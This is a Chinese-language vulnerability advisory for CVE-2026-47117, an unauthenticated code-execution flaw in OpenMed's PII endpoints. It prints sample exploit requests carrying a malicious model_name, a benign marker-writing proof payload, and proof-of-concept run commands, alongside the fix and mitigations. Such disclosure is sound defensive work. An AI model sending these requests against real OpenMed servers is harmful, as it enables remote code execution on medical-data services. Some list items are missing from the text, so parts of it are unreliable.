严重性: 严重,CVSS 4.0 9.3,CVSS 3.1 9.8(由 VulnCheck(CNA)评定)
向量(v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
向量(v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
受影响版本: OpenMed < 1.5.2
修复版本: 1.5.2
CWE: CWE-94(对代码生成的错误控制,代码注入)
报告者: Sai Teja Erukude
CNA: VulnCheck
发布时间: 2026年6月2日
OpenMed 1.5.2 之前版本在 PII 隐私过滤器模型加载路径中存在未认证远程代码执行漏洞。
REST API 端点 POST /pii/extract 和 POST /pii/deidentify 接受请求体中的 值。在受影响版本中,隐私过滤器调度器对该攻击者可控的值使用了宽泛的子字符串匹配。因此,诸如 之类的模型名称可以路由到隐私过滤器后端。
model_nameattacker/foo-privacy-filter-bar在非 MLX/Torch 部署中,该后端通过 Transformers 以 trust_remote_code=True 加载 Hugging Face 模型工件。如果攻击者控制的模型仓库包含通过 config.json 或 tokenizer_config.json 中的 auto_map 引用的自定义 Transformers 代码,Transformers 会在模型或分词器加载期间导入并执行该 Python 代码。
导入的代码以 OpenMed 服务进程的权限执行。
能够访问 OpenMed REST API 的未认证远程攻击者可通过在 model_name 中提供恶意的 Hugging Face 风格模型标识符,在服务器上执行任意 Python 代码。
具体取决于服务部署方式,这可能允许:
该问题可通过两个 PII 端点触发,因为两者都接受 model_name 并使用相同的 PII 提取/模型加载路径:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
受影响的控制流存在两个信任边界缺陷:
model_name。trust_remote_code=True 加载 Transformers 工件,从而信任了远程模型仓库代码。调度器将任何包含 privacy-filter 的模型标识符视为隐私过滤器家族的一部分。这使攻击者控制的标识符(例如 attacker/foo-privacy-filter-bar)能够进入为受信任的第一方 Privacy Filter 模型设计的代码路径。
一旦路由到该路径,Transformers 即可通过 auto_map 加载攻击者控制的自定义代码。此导入发生在模型/分词器加载期间,早于任何实际推理需要成功之前。因此,证明载荷可以非常简单:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py 构建一个无害的本地 Hugging Face 风格模型目录,其名称包含 privacy-filter。生成的自定义 Transformers 模块在导入时会写入一个标记文件。随后,脚本以该目录作为 model_name 向测试 OpenMed API 实例发送请求。
在受影响 OpenMed 版本上的预期行为是:
model_name。trust_remote_code=True,Transformers 导入生成的自定义模块。仅对本地测试实例运行:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
如果 OpenMed 服务运行在无法访问生成的本地目录的环境中,请将等效的测试模型发布到可控的 Hugging Face 仓库,并显式传入该标识符:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
升级到 OpenMed 1.5.2 或更高版本。
OpenMed 1.5.2 将路由与信任分离:
privacy-filter 的任意仓库名称不再通过受信任的隐私过滤器路径路由。PrivacyFilterTorchPipeline 将 trust_remote_code 默认设置为 False。OPENMED_TRUSTED_REMOTE_CODE_MODELS 将其加入白名单。如果无法立即升级:
model_name 值传递给以 trust_remote_code=True 运行的 Transformers。| 日期 | 事件 |
|---|---|
| 2026年5月18日 | 漏洞提交至 VulnCheck |
| 2026年5月20日 | VulnCheck 启动协调披露流程 |
| 2026年5月22日 | CVE-2026-47117 暂定分配 |
| 2026年6月1日 | OpenMed 1.5.2 修复已审核并确认 |
| 2026年6月2日 | CVE-2026-47117 发布 |
由 Sai Teja Erukude 发现并报告,通过 VulnCheck 协调。